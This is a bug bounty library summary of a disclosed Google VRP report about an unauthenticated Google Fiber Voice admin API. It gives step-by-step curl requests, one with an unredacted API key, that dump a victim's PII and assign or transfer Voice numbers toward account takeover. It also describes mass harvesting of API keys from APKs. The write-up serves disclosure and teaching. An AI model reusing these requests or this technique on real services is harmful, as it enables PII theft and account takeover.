# Hacking Google with A.I. for $500,000

Unauthenticated Google Fiber Voice admin API lacked access control, letting anyone dump victim PII and assign/transfer Google Voice numbers via a single curl.

- Payout: $20,000
- Severity: critical
- Program: Google VRP
- Found by: brutecat
- Disclosed: 2026-06-11
- Write-up quality: 8/10
- Original: https://brutecat.com/articles/hacking-google-with-ai/
- Library page: https://bugbountylibrary.com/r/blog%3Abrutecat-com-articles-hacking-google-with-ai
- Tags: area:web domain:api domain:web impact:ato impact:pii-leak kind:bounty platform:blog sev:critical tech:rest technique:recon technique:source-review vuln:access-control vuln:auth-bypass vuln:idor

**Target:** gfibervoice-pa.googleapis.com admin management endpoints (BssGetVoiceSettings, AssignNumber)
**Root cause:** No access control checks at all on gfibervoice-pa.googleapis.com, which exposed admin management endpoints for Google Voice and Google Fiber; only an API key was required.
**Steps:**
1. Enumerate Google API domains and discovery docs; collect API keys from APKs/IPAs/web traffic.
2. Identify gfibervoice-pa.googleapis.com as a live Google API (Server: ESF) and obtain a working API key.
3. Fetch victim settings unauthenticated: `curl 'https://gfibervoice-pa.googleapis.com/v1/BssGetVoiceSettings?gaiaId=786575234861' -X GET -H 'X-Goog-Api-Key: AIzaSyBFEIaAndFpMDyNGq2g54RJYt_GFZdcRHE'` with victim's unobfuscated Gaia ID.
4. Response dumps voice number, notification email, forwarding phones, and Google account recovery phone.
5. Assign a number to any target: `curl 'https://gfibervoice-pa.googleapis.com/v1/AssignNumber' -X POST -H 'Content-Type: application/json' -H 'X-Goog-Api-Key: AIzaSyBFEIaAndFpMDyNGq2g54RJYt_GFZdcRHE' --data-raw '{"gaiaId":"1072004820935","accountId":"1","number":"+16503837639"}'` (accountId unvalidated; returns 500 but number is added).
6. To transfer an existing Voice number, assign two new numbers to the victim with the target number; after the original expires, assign it to the attacker account.
**How found:** Built an AI-driven fuzzer over Google discovery documents, collected API keys from 60k+ APKs and web traffic, filtered to Google-owned GCP projects via Cloud Marketplace infoSharing endpoint, then mass-scanned for open discovery docs and probed endpoints for missing access control.
**Exploitation:** Attacker needs only a valid Google API key (no auth). Using victim's Gaia ID, BssGetVoiceSettings returns PII including Voice number and account recovery phone. AssignNumber lets attacker attach arbitrary numbers to any Gaia ID (accountId unvalidated), and by assigning two numbers with the target number, the victim's existing Voice number expires and can be claimed by the attacker, enabling account takeover.
**Escalation:** PII leak plus number assignment/transfer chain escalates to Google Voice account takeover; unauthenticated endpoints like InitiateNumberPort may enable SIM swap.
**Insight:** Internal-looking *.googleapis.com services (e.g. Fiber/Voice admin APIs) often ship with only API-key gating and zero authz; harvesting keys from APKs and probing admin methods with a victim Gaia ID can yield unauthenticated PII dumps and state-changing admin actions.

## Proof of concept (copied exactly from the original report)

**Unauthenticated Google Voice PII dump by gaiaId**

```
curl 'https://gfibervoice-pa.googleapis.com/v1/BssGetVoiceSettings?gaiaId=786575234861' \
 -X GET \
 -H 'X-Goog-Api-Key: [redacted]'
```

**Assign arbitrary Voice number to any gaiaId**

```
curl 'https://gfibervoice-pa.googleapis.com/v1/AssignNumber' \
 -X POST \
 -H 'Content-Type: application/json' \
 -H 'X-Goog-Api-Key: [redacted]' \
 --data-raw '{"gaiaId":"1072004820935","accountId":"1","number":"+16503837639"}'
```

**Cloud Marketplace project info leak by project number**

```
GET /v1test/infoSharing/test/test/1044708746243 HTTP/2
Host: cloudmarketplace.clients6.google.com
Cookie: <redacted>
Authorization: <redacted>
Origin: https://console.cloud.google.com
X-Goog-Api-Key: [redacted]
```